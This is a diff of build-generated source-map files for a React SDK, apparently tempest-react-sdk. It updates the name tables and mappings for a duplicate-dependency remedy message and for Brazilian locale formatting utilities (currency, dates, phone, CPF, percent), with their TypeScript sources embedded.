DUPLICATE_COPY_REMEDY =\n \"Two copies of a package that carries React context cannot see each other's \" +\n \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n \"dependency, then align the versions so a single copy satisfies both the app \" +\n \"and the SDK.\";\n"],"mappings":"AAoBA,IAAaA,EACT,oP"}
@@ -1 +1 @@
1
- {"version":3,"file":"duplicate-instance.js","names":[],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n \"Two copies of a package that carries React context cannot see each other's \" +\n \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n \"dependency, then align the versions so a single copy satisfies both the app \" +\n \"and the SDK.\";\n"],"mappings":";AAoBA,IAAa,IACT"}
1
+ {"version":3,"file":"duplicate-instance.js","names":["DUPLICATE_COPY_REMEDY"],"sources":["../../src/utils/duplicate-instance.ts"],"sourcesContent":["/**\n * Internal, and imported by path rather than through the `utils` barrel: it is\n * diagnostic copy, not API, and re-exporting it would give a sentence the\n * semver weight of a public export. The call sites are `<QueryProvider>` and\n * `<FormField>` — the two places where a second copy of a context-carrying\n * dependency surfaces as a failure the app cannot read.\n */\n\n/**\n * What to do about a second copy, worded once so the two call sites cannot\n * drift apart.\n *\n * `npm dedupe` comes first because it fixes the common case outright: npm\n * nested the copy only because the app's range and the SDK's range did not\n * overlap at install time, and deduping collapses them whenever a single\n * version satisfies both. `tempest doctor` comes second as the way to *see*\n * the problem — it walks `node_modules/tempest-react-sdk` for nested copies of\n * every context-carrying dependency and names the ones it finds, which is the\n * confirmation the app needs before touching versions by hand.\n */\nexport const DUPLICATE_COPY_REMEDY =\n \"Two copies of a package that carries React context cannot see each other's \" +\n \"providers. Run `npm dedupe`, or `npx tempest doctor` to list every duplicated \" +\n \"dependency, then align the versions so a single copy satisfies both the app \" +\n \"and the SDK.\";\n"],"mappings":";AAoBA,IAAaA,IACT"}
@@ -1 +1 @@
1
- {"version":3,"file":"format.cjs","names":[],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56); // \"R$ 1.234,56\"\n * formatCurrency(null); // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n value: number | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null); // \"—\"\n * formatDate(\"banana\"); // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n * the value is present and invalid.\n */\nexport function formatDate(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n * which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n * type=\"datetime-local\"\n * defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n * invalid — which is what a datetime input reads as \"no value\", unlike\n * `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n const hours = `${date.getHours()}`.padStart(2, \"0\");\n const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n * when the value is present and invalid.\n */\nexport function formatDateTime(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n /**\n * Treat the number as a mobile line: insert the mandatory `9` after the area\n * code when it is missing, and group the subscriber part `5+4` from the\n * first digit typed instead of waiting for the eleventh.\n *\n * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n * digits, `5+4` at eleven.\n */\n mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\"); // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true }); // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n if (!options.mobile) {\n if (digits.length <= 10) {\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n }\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n }\n\n if (digits.length <= 2) return digits;\n\n const area = digits.slice(0, 2);\n let subscriber = digits.slice(2);\n if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n subscriber = subscriber.slice(0, 9);\n\n const prefix = subscriber.slice(0, 5);\n const suffix = subscriber.slice(5);\n return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n return value\n .replace(/\\D/g, \"\")\n .slice(0, 11)\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n /**\n * Decimal places to show, fixed (padded as well as truncated).\n *\n * Defaults to `1`, which is what the function always did. Two is the case\n * that produced this option: a confidence of 98,74% and one of 98,7% are the\n * same number on a summary card and two different readings on a detail\n * screen, so the precision belongs to the call site.\n */\n decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874); // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0); // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n value: number | null | undefined,\n options: FormatPercentOptions = {},\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n const decimals = options.decimals ?? 1;\n return numberFormat(\"pt-BR\", {\n style: \"percent\",\n minimumFractionDigits: decimals,\n maximumFractionDigits: decimals,\n }).format(value);\n}\n"],"mappings":"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"}
1
+ {"version":3,"file":"format.cjs","names":["isAbsent","fallbackText","numberFormat","dateTimeFormat","require_absent","require_intl_cache","formatCurrency","value","options","formatDate","date","formatDateForInput","month","day","formatDateTimeForInput","hours","minutes","formatDateTime","formatPhone","digits","area","subscriber","prefix","suffix","formatCPF","formatPercent","decimals"],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56); // \"R$ 1.234,56\"\n * formatCurrency(null); // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n value: number | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null); // \"—\"\n * formatDate(\"banana\"); // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n * the value is present and invalid.\n */\nexport function formatDate(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n * which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n * type=\"datetime-local\"\n * defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n * invalid — which is what a datetime input reads as \"no value\", unlike\n * `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options, \"\");\n if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n const day = `${date.getDate()}`.padStart(2, \"0\");\n const hours = `${date.getHours()}`.padStart(2, \"0\");\n const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n * when the value is present and invalid.\n */\nexport function formatDateTime(\n value: string | Date | null | undefined,\n options?: FormatFallbackOptions,\n): string {\n if (isAbsent(value)) return fallbackText(options);\n const date = typeof value === \"string\" ? new Date(value) : value;\n if (Number.isNaN(date.getTime())) return \"\";\n return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n /**\n * Treat the number as a mobile line: insert the mandatory `9` after the area\n * code when it is missing, and group the subscriber part `5+4` from the\n * first digit typed instead of waiting for the eleventh.\n *\n * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n * digits, `5+4` at eleven.\n */\n mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\"); // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true }); // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n if (!options.mobile) {\n if (digits.length <= 10) {\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n }\n return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n }\n\n if (digits.length <= 2) return digits;\n\n const area = digits.slice(0, 2);\n let subscriber = digits.slice(2);\n if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n subscriber = subscriber.slice(0, 9);\n\n const prefix = subscriber.slice(0, 5);\n const suffix = subscriber.slice(5);\n return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n return value\n .replace(/\\D/g, \"\")\n .slice(0, 11)\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n /**\n * Decimal places to show, fixed (padded as well as truncated).\n *\n * Defaults to `1`, which is what the function always did. Two is the case\n * that produced this option: a confidence of 98,74% and one of 98,7% are the\n * same number on a summary card and two different readings on a detail\n * screen, so the precision belongs to the call site.\n */\n decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874); // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0); // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n value: number | null | undefined,\n options: FormatPercentOptions = {},\n): string {\n if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n const decimals = options.decimals ?? 1;\n return numberFormat(\"pt-BR\", {\n style: \"percent\",\n minimumFractionDigits: decimals,\n maximumFractionDigits: decimals,\n 